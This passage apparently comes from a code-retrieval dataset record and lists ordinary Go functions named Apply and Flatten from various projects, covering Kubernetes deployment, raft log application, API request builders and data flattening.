record.Decision.Org)\\n\\n\\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\\n}\",\n \"func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\\n\\tvar workload = new(unstructured.Unstructured)\\n\\tif err := v.UnmarshalTo(workload); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdeployCtx := context.Background()\\n\\tif workload.GetNamespace() == \\\"\\\" {\\n\\t\\tworkload.SetNamespace(\\\"default\\\")\\n\\t}\\n\\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn v.FillObject(workload.Object)\\n}\",\n \"func (o *Operation) Apply(v interface{}) (interface{}, error) {\\n\\tf, ok := opApplyMap[o.Op]\\n\\tif !ok {\\n\\t\\treturn v, fmt.Errorf(\\\"unknown operation: %s\\\", o.Op)\\n\\t}\\n\\n\\tresult, err := f(o, v)\\n\\tif err != nil {\\n\\t\\treturn result, fmt.Errorf(\\\"error applying operation %s: %s\\\", o.Op, err)\\n\\t}\\n\\n\\treturn result, nil\\n}\",\n \"func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\\n\\tbuf, err := structs.Encode(t, msg)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to encode request: %v\\\", err)\\n\\t}\\n\\n\\t// Warn if the command is very large\\n\\tif n := len(buf); n > raftWarnSize {\\n\\t\\ts.logger.Printf(\\\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\\\", n)\\n\\t}\\n\\n\\tfuture := s.raft.Apply(buf, enqueueLimit)\\n\\tif err := future.Error(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn future.Response(), nil\\n}\",\n \"func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (l *Layer) Apply(in autofunc.Result) autofunc.Result {\\n\\tif l.DoneTraining {\\n\\t\\tif len(in.Output())%l.InputCount != 0 {\\n\\t\\t\\tpanic(\\\"invalid input size\\\")\\n\\t\\t}\\n\\t\\tn := len(in.Output()) / l.InputCount\\n\\n\\t\\tmeanVar := &autofunc.Variable{Vector: l.FinalMean}\\n\\t\\tvarVar := &autofunc.Variable{Vector: l.FinalVariance}\\n\\t\\tnegMean := autofunc.Repeat(autofunc.Scale(meanVar, -1), n)\\n\\t\\tinvStd := autofunc.Repeat(autofunc.Pow(autofunc.AddScaler(varVar,\\n\\t\\t\\tl.stabilizer()), -0.5), n)\\n\\t\\tscales := autofunc.Repeat(l.Scales, n)\\n\\t\\tbiases := autofunc.Repeat(l.Biases, n)\\n\\n\\t\\tnormalized := autofunc.Mul(autofunc.Add(in, negMean), invStd)\\n\\t\\treturn autofunc.Add(autofunc.Mul(normalized, scales), biases)\\n\\t}\\n\\treturn l.Batch(in, 1)\\n}\",\n \"func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexVmSnapshotInfoListRequest) Apply(apply string) ApiGetHyperflexVmSnapshotInfoListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func Apply(root Node, apply func(n Node) (Node, bool)) (Node, bool) {\\n\\tif root == nil {\\n\\t\\treturn nil, false\\n\\t}\\n\\tvar changed bool\\n\\tswitch n := root.(type) {\\n\\tcase Object:\\n\\t\\tvar nn Object\\n\\t\\tif applySort {\\n\\t\\t\\tfor _, k := range n.Keys() {\\n\\t\\t\\t\\tv := n[k]\\n\\t\\t\\t\\tif nv, ok := Apply(v, apply); ok {\\n\\t\\t\\t\\t\\tif nn == nil {\\n\\t\\t\\t\\t\\t\\tnn = n.CloneObject()\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tnn[k] = nv\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tfor k, v := range n {\\n\\t\\t\\t\\tif nv, ok := Apply(v, apply); ok {\\n\\t\\t\\t\\t\\tif nn == nil {\\n\\t\\t\\t\\t\\t\\tnn = n.CloneObject()\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tnn[k] = nv\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif nn != nil {\\n\\t\\t\\tchanged = true\\n\\t\\t\\troot = nn\\n\\t\\t}\\n\\tcase Array:\\n\\t\\tvar nn Array\\n\\t\\tfor i, v := range n {\\n\\t\\t\\tif nv, ok := Apply(v, apply); ok {\\n\\t\\t\\t\\tif nn == nil {\\n\\t\\t\\t\\t\\tnn = n.CloneList()\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tnn[i] = nv\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif nn != nil {\\n\\t\\t\\tchanged = true\\n\\t\\t\\troot = nn\\n\\t\\t}\\n\\t}\\n\\tnn, changed2 := apply(root)\\n\\treturn nn, changed || changed2\\n}\",\n \"func (r *ResUnstructured) Apply() error {\\n\\t_, err := r.getUnstructured()\\n\\texists, err := Exists(err)\\n\\tif exists || err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// if not exists and no error, then create\\n\\tr.Log.Info(\\\"Created a new resource\\\")\\n\\treturn r.Client.Create(context.TODO(), r.Object)\\n}\",\n \"func (op *OpAdd) Apply(e *entry.Entry) error {\\n\\tswitch {\\n\\tcase op.Value != nil:\\n\\t\\terr := e.Set(op.Field, op.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tcase op.program != nil:\\n\\t\\tenv := helper.GetExprEnv(e)\\n\\t\\tdefer helper.PutExprEnv(env)\\n\\n\\t\\tresult, err := vm.Run(op.program, env)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"evaluate value_expr: %s\\\", err)\\n\\t\\t}\\n\\t\\terr = e.Set(op.Field, result)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tdefault:\\n\\t\\t// Should never reach here if we went through the unmarshalling code\\n\\t\\treturn fmt.Errorf(\\\"neither value or value_expr are are set\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetBulkMoDeepClonerListRequest) Apply(apply string) ApiGetBulkMoDeepClonerListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\\n\\tindex, err := applyJoin(c, context)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tb := make([]byte, 8)\\n\\tbinary.PutUvarint(b, index)\\n\\treturn b, nil\\n}\",\n \"func (b *BaseImpl) Flatten() {\\n\\n\\tnbytes := make([]byte, b.LenBuf())\\n\\n\\tcopy(nbytes, b.bytes)\\n\\tfor i := range b.Diffs {\\n\\t\\tcopy(nbytes[b.Diffs[i].Offset:], b.Diffs[i].bytes)\\n\\t}\\n\\tb.bytes = nbytes\\n\\tb.Diffs = []Diff{}\\n\\n}\",\n \"func (r ApiGetHyperflexTargetListRequest) Apply(apply string) ApiGetHyperflexTargetListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func flatten(entry logEntry) (string, error) {\\n\\tvar msgValue string\\n\\tvar errorValue error\\n\\tif len(entry.Values)%2 == 1 {\\n\\t\\treturn \\\"\\\", errors.New(\\\"log entry cannot have odd number off keyAndValues\\\")\\n\\t}\\n\\n\\tkeys := make([]string, 0, len(entry.Values)/2)\\n\\tvalues := make(map[string]interface{}, len(entry.Values)/2)\\n\\tfor i := 0; i < len(entry.Values); i += 2 {\\n\\t\\tk, ok := entry.Values[i].(string)\\n\\t\\tif !ok {\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"key is not a string: %s\\\", entry.Values[i]))\\n\\t\\t}\\n\\t\\tvar v interface{}\\n\\t\\tif i+1 < len(entry.Values) {\\n\\t\\t\\tv = entry.Values[i+1]\\n\\t\\t}\\n\\t\\tswitch k {\\n\\t\\tcase \\\"msg\\\":\\n\\t\\t\\tmsgValue, ok = v.(string)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"the msg value is not of type string: %s\\\", v))\\n\\t\\t\\t}\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terrorValue, ok = v.(error)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"the error value is not of type error: %s\\\", v))\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\tif _, ok := values[k]; !ok {\\n\\t\\t\\t\\tkeys = append(keys, k)\\n\\t\\t\\t}\\n\\t\\t\\tvalues[k] = v\\n\\t\\t}\\n\\t}\\n\\tstr := \\\"\\\"\\n\\tif entry.Prefix != \\\"\\\" {\\n\\t\\tstr += fmt.Sprintf(\\\"[%s] \\\", entry.Prefix)\\n\\t}\\n\\tstr += msgValue\\n\\tif errorValue != nil {\\n\\t\\tif msgValue != \\\"\\\" {\\n\\t\\t\\tstr += \\\": \\\"\\n\\t\\t}\\n\\t\\tstr += errorValue.Error()\\n\\t}\\n\\tfor _, k := range keys {\\n\\t\\tprettyValue, err := pretty(values[k])\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tstr += fmt.Sprintf(\\\" %s=%s\\\", k, prettyValue)\\n\\t}\\n\\treturn str, nil\\n}\",\n \"func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (a ApplyTo) Flatten() []schema.GroupVersionKind {\\n\\tvar result []schema.GroupVersionKind\\n\\tfor _, group := range a.Groups {\\n\\t\\tfor _, version := range a.Versions {\\n\\t\\t\\tfor _, kind := range a.Kinds {\\n\\t\\t\\t\\tgvk := schema.GroupVersionKind{\\n\\t\\t\\t\\t\\tGroup: group,\\n\\t\\t\\t\\t\\tVersion: version,\\n\\t\\t\\t\\t\\tKind: kind,\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tresult = append(result, gvk)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn result\\n}\",\n \"func (event_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\\n\\tobj := object.(*Event)\\n\\tvar offsetDevice = fbutils.CreateStringOffset(fbb, obj.Device)\\n\\tvar offsetUid = fbutils.CreateStringOffset(fbb, obj.Uid)\\n\\tvar offsetPicture = fbutils.CreateByteVectorOffset(fbb, obj.Picture)\\n\\n\\t// build the FlatBuffers object\\n\\tfbb.StartObject(5)\\n\\tfbutils.SetUint64Slot(fbb, 0, id)\\n\\tfbutils.SetUOffsetTSlot(fbb, 3, offsetUid)\\n\\tfbutils.SetUOffsetTSlot(fbb, 1, offsetDevice)\\n\\tfbutils.SetInt64Slot(fbb, 2, obj.Date)\\n\\tfbutils.SetUOffsetTSlot(fbb, 4, offsetPicture)\\n\\treturn nil\\n}\",\n \"func Flatten(it Item) Item {\\n\\tif it.IsCollection() {\\n\\t\\tif c, ok := it.(CollectionInterface); ok {\\n\\t\\t\\tit = FlattenItemCollection(c.Collection())\\n\\t\\t}\\n\\t}\\n\\tif it != nil && len(it.GetLink()) > 0 {\\n\\t\\treturn it.GetLink()\\n\\t}\\n\\treturn it\\n}\",\n \"func (r *raftState) apply(b []byte) error {\\n\\t// Apply to raft log.\\n\\tf := r.raft.Apply(b, 0)\\n\\tif err := f.Error(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Return response if it's an error.\\n\\t// No other non-nil objects should be returned.\\n\\tresp := f.Response()\\n\\tif err, ok := resp.(error); ok {\\n\\t\\treturn err\\n\\t}\\n\\tif resp != nil {\\n\\t\\tpanic(fmt.Sprintf(\\\"unexpected response: %#v\\\", resp))\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (testEntityInline_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\\n\\tobj := object.(*TestEntityInline)\\n\\n\\t// build the FlatBuffers object\\n\\tfbb.StartObject(3)\\n\\tfbutils.SetInt64Slot(fbb, 0, obj.BaseWithDate.Date)\\n\\tfbutils.SetFloat64Slot(fbb, 1, obj.BaseWithValue.Value)\\n\\tfbutils.SetUint64Slot(fbb, 2, id)\\n\\treturn nil\\n}\",\n \"func (testEntityRelated_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\\n\\tobj := object.(*TestEntityRelated)\\n\\tvar offsetName = fbutils.CreateStringOffset(fbb, obj.Name)\\n\\n\\tvar rIdNext uint64\\n\\tif rel := obj.Next; rel != nil {\\n\\t\\tif rId, err := EntityByValueBinding.GetId(rel); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t} else {\\n\\t\\t\\trIdNext = rId\\n\\t\\t}\\n\\t}\\n\\n\\t// build the FlatBuffers object\\n\\tfbb.StartObject(3)\\n\\tfbutils.SetUint64Slot(fbb, 0, id)\\n\\tfbutils.SetUOffsetTSlot(fbb, 1, offsetName)\\n\\tfbutils.SetUint64Slot(fbb, 2, rIdNext)\\n\\treturn nil\\n}\",\n \"func flatten(centerPosition, texelPosition mgl32.Vec2, texel *terraindto.TerrainTexel, centerHeight, amount, regionSize float32) {\\n\\theightDifference := texel.Height - centerHeight\\n\\ttexel.Height = texel.Height - heightDifference*amount\\n\\ttexel.Normalize()\\n}\",\n \"func (a Args) ApplyTo(i interface{}) (err error) {\\n\\tif len(a) > 0 {\\n\\t\\tvar b []byte\\n\\t\\tb, err = json.Marshal(a)\\n\\t\\tif err == nil {\\n\\t\\t\\terr = json.Unmarshal(b, i)\\n\\t\\t}\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func Flatten(nested map[string]interface{}) (flatmap map[string]interface{}, err error) {\\n\\treturn flatten(\\\"\\\", nested)\\n}\",\n \"func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (k *kubectlContext) Apply(args ...string) error {\\n\\tout, err := k.do(append([]string{\\\"apply\\\"}, args...)...)\\n\\tk.t.Log(string(out))\\n\\treturn err\\n}\",\n \"func (f *Flattener) Flattened(input interface{}) (bson.D, error) {\\n\\tvar flattened bson.D\\n\\terr := f.Flatten(input, &flattened)\\n\\treturn flattened, err\\n}\",\n \"func (op *OpRemove) Apply(e *entry.Entry) error {\\n\\te.Delete(op.Field)\\n\\treturn nil\\n}\",\n \"func (r *localRaft) apply(b []byte) error {\\n\\t// Apply to raft log.\\n\\tf := r.raft.Apply(b, 0)\\n\\tif err := f.Error(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Return response if it's an error.\\n\\t// No other non-nil objects should be returned.\\n\\tresp := f.Response()\\n\\tif err, ok := resp.(error); ok {\\n\\t\\treturn lookupError(err)\\n\\t}\\n\\tassert(resp == nil, \\\"unexpected response: %#v\\\", resp)\\n\\n\\treturn nil\\n}\",\n \"func flattenTocEntries(toc []*tocEntry) []*tocEntry {\\n\\tvar res []*tocEntry\\n\\tfor _, entry := range toc {\\n\\t\\tif len(entry.Section) != 0 {\\n\\t\\t\\tres = append(res, flattenTocEntries(entry.Section)...)\\n\\t\\t} else {\\n\\t\\t\\tres = append(res, entry)\\n\\t\\t}\\n\\t}\\n\\treturn res\\n}\",\n \"func Apply(data []byte, namespace string, args ...string) (err error) {\\n\\tapply := []string{\\\"apply\\\", \\\"-n\\\", namespace, \\\"-f\\\", \\\"-\\\"}\\n\\t_, err = pipeToKubectl(data, append(apply, args...)...)\\n\\treturn\\n}\",\n \"func flattenStoredInfoTypeDictionaryWordList(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionaryWordList {\\n\\tm, ok := i.(map[string]interface{})\\n\\tif !ok {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tr := &StoredInfoTypeDictionaryWordList{}\\n\\n\\tif dcl.IsEmptyValueIndirect(i) {\\n\\t\\treturn EmptyStoredInfoTypeDictionaryWordList\\n\\t}\\n\\tr.Words = dcl.FlattenStringSlice(m[\\\"words\\\"])\\n\\n\\treturn r\\n}\",\n \"func Apply(argv0 string, args ...string) error {\\n\\tfs := flag.NewFlagSet(argv0, flag.ContinueOnError)\\n\\tfs.Usage = func() {\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"Usage: %s\\\\n\\\", argv0)\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"Apply all patches with enough signatures to code tree.\\\\n\\\")\\n\\t\\tfs.PrintDefaults()\\n\\t}\\n\\tfilename := fs.String(\\\"f\\\", \\\"\\\", \\\"Distribution file\\\")\\n\\theadStr := fs.String(\\\"head\\\", \\\"\\\", \\\"Check that the hash chain contains the given head\\\")\\n\\tverbose := fs.Bool(\\\"v\\\", false, \\\"Be verbose\\\")\\n\\tif err := fs.Parse(args); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif *verbose {\\n\\t\\tlog.Std = log.NewStd(os.Stdout)\\n\\t}\\n\\tif fs.NArg() != 0 {\\n\\t\\tfs.Usage()\\n\\t\\treturn flag.ErrHelp\\n\\t}\\n\\tvar head *[32]byte\\n\\tif *headStr != \\\"\\\" {\\n\\t\\th, err := hex.Decode(*headStr, 32)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar ha [32]byte\\n\\t\\tcopy(ha[:], h)\\n\\t\\thead = &ha\\n\\t}\\n\\tif *filename != \\\"\\\" {\\n\\t\\tif err := applyDist(*filename, head); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\tc, err := hashchain.ReadFile(def.HashchainFile)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := c.Close(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn apply(c, head)\\n}\",\n \"func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func Flatten[T any](collection [][]T) []T {\\n\\tresult := []T{}\\n\\n\\tfor _, item := range collection {\\n\\t\\tresult = append(result, item...)\\n\\t}\\n\\n\\treturn result\\n}\",\n \"func (m *matcher) apply(f func(c compilable)) {\\n\\tif m.root == nil {\\n\\t\\treturn\\n\\t}\\n\\tm.root.apply(f)\\n}\",\n \"func (r ApiGetHyperflexServerModelListRequest) Apply(apply string) ApiGetHyperflexServerModelListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (c *Context) Apply() (*State, error) {\\n\\tdefer c.acquireRun(\\\"apply\\\")()\\n\\n\\t// Copy our own state\\n\\tc.state = c.state.DeepCopy()\\n\\n\\t// Build the graph.\\n\\tgraph, err := c.Graph(GraphTypeApply, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Determine the operation\\n\\toperation := walkApply\\n\\tif c.destroy {\\n\\t\\toperation = walkDestroy\\n\\t}\\n\\n\\t// Walk the graph\\n\\twalker, err := c.walk(graph, operation)\\n\\tif len(walker.ValidationErrors) > 0 {\\n\\t\\terr = multierror.Append(err, walker.ValidationErrors...)\\n\\t}\\n\\n\\t// Clean out any unused things\\n\\tc.state.prune()\\n\\n\\treturn c.state, err\\n}\",\n \"func (s *Synk) Apply(\\n\\tctx context.Context,\\n\\tname string,\\n\\topts *ApplyOptions,\\n\\tresources ...*unstructured.Unstructured,\\n) (*apps.ResourceSet, error) {\\n\\tif opts == nil {\\n\\t\\topts = &ApplyOptions{}\\n\\t}\\n\\topts.name = name\\n\\n\\t// applyAll() updates the resources in place. To avoid modifying the\\n\\t// caller's slice, copy the resources first.\\n\\tresources = append([]*unstructured.Unstructured(nil), resources...)\\n\\tfor i, r := range resources {\\n\\t\\tresources[i] = r.DeepCopy()\\n\\t}\\n\\n\\trs, resources, err := s.initialize(ctx, opts, resources...)\\n\\tif err != nil {\\n\\t\\treturn rs, err\\n\\t}\\n\\tresults, applyErr := s.applyAll(ctx, rs, opts, resources...)\\n\\n\\tif err := s.updateResourceSetStatus(ctx, rs, results); err != nil {\\n\\t\\treturn rs, err\\n\\t}\\n\\tif applyErr == nil {\\n\\t\\tif err := s.deleteResourceSets(ctx, opts.name, opts.version); err != nil {\\n\\t\\t\\treturn rs, err\\n\\t\\t}\\n\\t}\\n\\treturn rs, applyErr\\n}\",\n \"func (e EdgeMetadatas) Flatten() EdgeMetadata {\\n\\tresult := EdgeMetadata{}\\n\\tfor _, v := range e {\\n\\t\\tresult = result.Flatten(v)\\n\\t}\\n\\treturn result\\n}\",\n \"func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s Sequence) apply(v reflect.Value) {\\n\\tv = indirect(v)\\n\\tswitch v.Kind() {\\n\\tcase reflect.Slice:\\n\\t\\tif v.Cap() >= len(s.elements) {\\n\\t\\t\\tv.SetLen(len(s.elements))\\n\\t\\t} else {\\n\\t\\t\\tv.Set(reflect.MakeSlice(v.Type(), len(s.elements), len(s.elements)))\\n\\t\\t}\\n\\tcase reflect.Array:\\n\\t\\tif v.Len() != len(s.elements) {\\n\\t\\t\\ts.error(InvalidArrayLengthError{Len: v.Len(), Expected: len(s.elements)})\\n\\t\\t}\\n\\tdefault:\\n\\t\\tif !reflect.TypeOf(s).AssignableTo(v.Type()) {\\n\\t\\t\\ts.error(InvalidSliceError{Type: v.Type()})\\n\\t\\t}\\n\\t\\tv.Set(reflect.ValueOf(s))\\n\\t\\treturn\\n\\t}\\n\\n\\tfor i, n := range s.elements {\\n\\t\\te := reflect.New(v.Type().Elem()).Elem()\\n\\t\\tapply(n, e)\\n\\t\\tv.Index(i).Set(e)\\n\\t}\\n}\",\n \"func (r ApiGetHyperflexHxdpVersionListRequest) Apply(apply string) ApiGetHyperflexHxdpVersionListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (node *Node) flatten(arr *[]*Node) {\\n\\tif node == nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tnode.Left.flatten(arr)\\n\\n\\t*arr = append(*arr, node)\\n\\n\\tnode.Right.flatten(arr)\\n}\",\n \"func (l List) Apply(h *HTML) {\\n\\tfor _, m := range l {\\n\\t\\tapply(m, h)\\n\\t}\\n}\",\n \"func (r ApiGetHyperflexHealthCheckPackageChecksumListRequest) Apply(apply string) ApiGetHyperflexHealthCheckPackageChecksumListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (fs *FilterSet) Apply(fields map[interface{}]string) []map[interface{}]string {\\n\\tlastset := []map[interface{}]string{fields}\\n\\tfor _, fltr := range fs.filters {\\n\\t\\tnewset := []map[interface{}]string{}\\n\\t\\tfor _, mf := range lastset {\\n\\t\\t\\tfor _, nf := range fltr.Apply(mf) {\\n\\t\\t\\t\\tif len(nf) > 0 {\\n\\t\\t\\t\\t\\tnewset = append(newset, nf)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// short-circuit nulls\\n\\t\\tif len(newset) == 0 {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tlastset = newset\\n\\t}\\n\\treturn lastset\\n}\",\n \"func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\\n\\t// Apply snapshot\\n\\tgm.applySnapshot(gmp, apply)\\n\\t// Apply entries.\\n\\tgm.applyEntries(gmp, apply)\\n\\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\\n\\t// or applied index might be greater than the last index in raft storage.\\n\\t// since the raft routine might be slower than apply routine.\\n\\t<-apply.notifyc\\n\\t// Create snapshot if necessary\\n\\tgm.triggerSnapshot(gmp)\\n}\",\n \"func Apply(file []*Tag, table map[string]map[string]*Tag) {\\n\\tobj := \\\"\\\"\\n\\taux := \\\"\\\"\\n\\t\\n\\tisPlant := false\\n\\t\\n\\tfor _, tag := range file {\\n\\t\\tif _, ok := objTypes[tag.ID]; ok {\\n\\t\\t\\tif len(tag.Params) != 1 {\\n\\t\\t\\t\\t// Bad param count, definitely an error.\\n\\t\\t\\t\\tobj = \\\"\\\"\\n\\t\\t\\t\\taux = \\\"\\\"\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tisPlant = tag.ID == \\\"PLANT\\\"\\n\\t\\t\\t\\n\\t\\t\\tobj = tag.Params[0]\\n\\t\\t\\taux = \\\"\\\"\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\t\\n\\t\\tif isPlant {\\n\\t\\t\\tif tag.ID == \\\"GROWTH\\\" {\\n\\t\\t\\t\\tif len(tag.Params) != 1 {\\n\\t\\t\\t\\t\\t// Bad param count, definitely an error.\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\taux = \\\"GROWTH_\\\" + tag.Params[0]\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t\\n\\t\\tif obj != \\\"\\\" {\\n\\t\\t\\tswapIfExist(tag, obj, aux, table)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilterMap(c *Client, i interface{}) map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter {\\n\\ta, ok := i.(map[string]interface{})\\n\\tif !ok {\\n\\t\\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\\n\\t}\\n\\n\\tif len(a) == 0 {\\n\\t\\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\\n\\t}\\n\\n\\titems := make(map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter)\\n\\tfor k, item := range a {\\n\\t\\titems[k] = *flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilter(c, item.(map[string]interface{}))\\n\\t}\\n\\n\\treturn items\\n}\",\n \"func (r ApiGetHyperflexHealthCheckExecutionSnapshotListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionSnapshotListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexNodeProfileListRequest) Apply(apply string) ApiGetHyperflexNodeProfileListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (b *Bilateral) Apply(t *Tensor) *Tensor {\\n\\tdistances := NewTensor(b.KernelSize, b.KernelSize, 1)\\n\\tcenter := b.KernelSize / 2\\n\\tfor i := 0; i < b.KernelSize; i++ {\\n\\t\\tfor j := 0; j < b.KernelSize; j++ {\\n\\t\\t\\t*distances.At(i, j, 0) = float32((i-center)*(i-center) + (j-center)*(j-center))\\n\\t\\t}\\n\\t}\\n\\n\\t// Pad with very large negative numbers to prevent\\n\\t// the filter from incorporating the padding.\\n\\tpadded := t.Add(100).Pad(center, center, center, center).Add(-100)\\n\\tout := NewTensor(t.Height, t.Width, t.Depth)\\n\\tPatches(padded, b.KernelSize, 1, func(idx int, patch *Tensor) {\\n\\t\\tb.blurPatch(distances, patch, out.Data[idx*out.Depth:(idx+1)*out.Depth])\\n\\t})\\n\\n\\treturn out\\n}\"\n]"},"negative_scores":{"kind":"list 